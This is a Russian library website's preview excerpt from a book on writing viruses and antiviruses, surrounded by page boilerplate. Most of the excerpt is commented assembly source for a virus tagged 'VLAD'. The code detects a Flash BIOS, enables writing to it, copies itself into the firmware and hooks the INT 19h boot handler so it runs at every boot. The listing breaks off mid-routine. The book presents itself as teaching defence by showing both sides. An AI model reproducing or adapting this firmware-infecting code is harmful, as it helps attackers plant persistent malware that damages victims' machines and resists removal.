Игорь Гульев - Создаем вирус и антивирус

Здесь есть возможность читать онлайн «Игорь Гульев - Создаем вирус и антивирус» — ознакомительный отрывок электронной книги совершенно бесплатно, а после прочтения отрывка купить полную версию. В некоторых случаях можно слушать аудио, скачать через торрент в формате fb2 и присутствует краткое содержание. Жанр: Прочая околокомпьтерная литература, на русском языке. Описание произведения, (предисловие) а так же отзывы посетителей доступны на портале библиотеки ЛибКат.

Создаем вирус и антивирус: краткое содержание, описание и аннотация

Предлагаем к чтению аннотацию, описание, краткое содержание или предисловие (зависит от того, что написал сам автор книги «Создаем вирус и антивирус»). Если вы не нашли необходимую информацию о книге — напишите в комментариях, мы постараемся отыскать её.

Virus Warning!
С этим сообщением, хоть раз в жизни, сталкивался любой пользователь компьютера. Вирмейкеры с упорством маньяков плодят все новые и новые разновидности вирусов. Бытует мнение, что избавиться от них можно лишь с помощью сложных и дорогостоящих новейших антивирусных программ. Это не совсем верно – знание принципов действия и способов внедрения вирусов поможет вовремя их обнаружить и локализовать, даже если под рукой не окажется подходящей антивирусной «вакцины».
В этой книге вы найдете обширный материал, посвященный проблеме защиты информации, рассмотренной с обеих сторон баррикад (как от лица вирмейкера, так и создателя антивирусов).

Создаем вирус и антивирус — читать онлайн ознакомительный отрывок

Ниже представлен текст книги, разбитый по страницам. Система сохранения места последней прочитанной страницы, позволяет с удобством читать онлайн бесплатно книгу «Создаем вирус и антивирус», без необходимости каждый раз заново искать на чём Вы остановились. Поставьте закладку, и сможете в любой момент перейти на страницу, на которой закончили чтение.

Тёмная тема
Сбросить

Интервал:

Закладка:

Сделать

Marker db ”VLAD”

;Эта подпрограмма заражает Flash BIOS

Flash_BIOS Proc Near

;Проверим наличие Flash BIOS

mov ax,0E000h

int 16h

jc no_flash_bios

cmp al,0FAh

jne no_flash_bios

;Сначала найдем хорошее место для хранения вируса.

;Просканируем память F000h−FFFFh, где обычно находится BIOS,

;на наличие области 1Кбайт нулей. Хватит даже 512 байт памяти,

;но выделить нужно с запасом

Infect_Flash:

;Установим начальный сегмент для поиска

mov ax,0F000h

mov ds,ax

;Проверим сегмент

New_segment:

;Установим стартовое смещение

xor si,si

;Установим счетчик найденных байт

;(величина свободного места для вируса)

xor dx,dx

ok_new_segment:

;Перейдем к следующему сегменту

inc ax

mov ds,ax

;Проверим, есть ли еще место для вируса

cmp ax,0FFF0h

je no_flash_BIOS

;Проверим, свободно ли место (для скорости проверяем словами)

Test16:

cmp word ptr [si],0

jne new_segment

;Увеличим счетчик размера найденного свободного места

inc dx

;Проверим, достаточно ли найденного места. Сравниваем с 1Кбайт,

но

;так как память сканируем словами, сравниваем с 512 (1Кбайт=512

слов)

cmp dx,512

je found_storage

;Увеличим смещение проверяемого байта

inc si

inc si

;Сравним с 16. Переходим к следующему сегменту

;в начале каждого параграфа

cmp si,16

je ok_new_segment

jmp test16

;В эту точку попадаем, если место найдено

Found_storage:

;Перейдем к началу зоны

sub ax,40h

mov ds,ax

;Получим требования к сохранению состояния чипа

mov ax,0E001h

int 16h

;Проверим, сколько памяти необходимо для сохранения состояния

;чипа. Если слишком много, не будем сохранять состояние

cmp bx,512

jbe save_chipset

;Установим флаг, показывающий, что состояние не сохраняли

mov byte ptr cs:chipset,1

;Перейдем к записи

jmp write_enable

;Сюда попадаем, если Flash BIOS не обнаружен:

;записывать некуда – выходим

No_Flash_BIOS:

ret

;Сохраним состояние чипа

save_chipset:

;Установим флаг, показывающий, что состояние сохранили

mov byte ptr cs:chipset,0

;Сохраним состояние

mov al,2

push cs

pop es

mov di,offset buffer

int 16h

;Записываемся во Flash BIOS

write_enable:

;Повышаем напряжение

mov al,5

int 16h

;Разрешаем запись во Flash BIOS

mov al,7

int 16h

;Копируем 512 байт вируса во Flash BIOS

push ds

pop es

xor di,di

mov cx,512

push cs

pop ds

xor si,si

cld

rep movsb

;Здесь нужна особая осторожность. Int19h указывает на BIOS,

;позднее оно перехватывается различными программами.

;Если трассировать его, можно наткнуться на закрытую область

;или на сегмент 70h, но этого не будет при загрузке. Понятно,

;что это единственное удачное время для выполнения вируса.

;Все, что нужно – ”внедриться” в int19h.

;Можно перехватить его в том месте, где находится

;сохраненная таблица векторов, но сделаем интереснее.

;Получим смещение оригинального обработчика int19h

mov bx,es ;BX=сегмент вируса

xor ax,ax

mov ds,ax ;DS=Таблица векторов

mov di,word ptr [19h*4] ;Смещение INT 19h

mov es,word ptr [19h*4+2] ;Сегмент INT 19h

;Запишем JMP FAR по адресу точки входа в INT 19h

mov al,0EAh

stosb

mov ax,offset int19handler

stosw

mov ax,bx

stosw

;Понизим напряжение

mov ax,0E004h

int 16h

;Защитим Flash BIOS от записи

mov al,6

int 16h

;Проверим, сохранялось ли состояние чипа, если нет – выходим

cmp byte ptr cs:chipset,0

jne No_Flash_BIOS

;Восстановим состояние чипа

push cs

pop es

mov al,3

mov di,offset buffer

int 16h

jmp No_Flash_BIOS

;Флаг несохранения состояния чипа

chipset db 0

;Флаг присутствия вируса во Flash BIOS

flash_done db 0

;Наш обработчик INT 19h.

Int19Handler Proc Near

;Установим сегментный регистр ES в ноль

xor ax,ax

mov es,ax

;Проверим наличие резидентного вируса

mov ax,0ABBAh

int 13h

;Если вирус присутствует, то запускаем оригинальный

;обработчик прерывания INT 19h

cmp ax,0BAABh

jne real_int19h

;Перенесем вирус из BIOS в boot−буфер

push cs

pop ds

cld

xor si,si

mov di,7c00h

mov cx,512

rep movsb

;Запустим вирус в boot−буфере

mov dl,80h

jmp goto_Buffer

Real_int19h:

;Произведем сброс дисковой подсистемы

xor ax,ax

int 13h

;Проинициализируем значения регистров для загрузки boot−сектора

mov cx,1

mov dh,0

mov ax,0201h

mov bx,7C00h

;Проверим, откуда грузимся: если DL не нулевой,

;переходим к загрузке с жесткого диска

cmp dl,0

ja hd_int19h

;Прочтем boot−сектор с дискеты. Если при чтении происходит

;ошибка, то читаем с жесткого диска

int 13h

jc fix_hd

;Установим флаг, показывающий присутствие вируса во Flash BIOS

Goto_Buffer:

mov byte ptr es:[7C00h+offset flash_done],1

;Запустим boot−сектор, находящийся в boot−буфере

db 0EAh ;Код команды JMP FAR

dw 7c00h

dw 0

Fix_HD:

;Установим номер диска для загрузки (диск C)

mov dl,80h

HD_Int19h:

;Произведем сброс дисковой подсистемы

xor ax,ax

Читать дальше
Тёмная тема
Сбросить

Интервал:

Закладка:

Сделать

Похожие книги на «Создаем вирус и антивирус»

Представляем Вашему вниманию похожие книги на «Создаем вирус и антивирус» списком для выбора. Мы отобрали схожую по названию и смыслу литературу в надежде предоставить читателям больше вариантов отыскать новые, интересные, ещё непрочитанные произведения.


Отзывы о книге «Создаем вирус и антивирус»

Обсуждение, отзывы о книге «Создаем вирус и антивирус» и просто собственные мнения читателей. Оставьте ваши комментарии, напишите, что Вы думаете о произведении, его смысле или главных героях. Укажите что конкретно понравилось, а что нет, и почему Вы так считаете.

x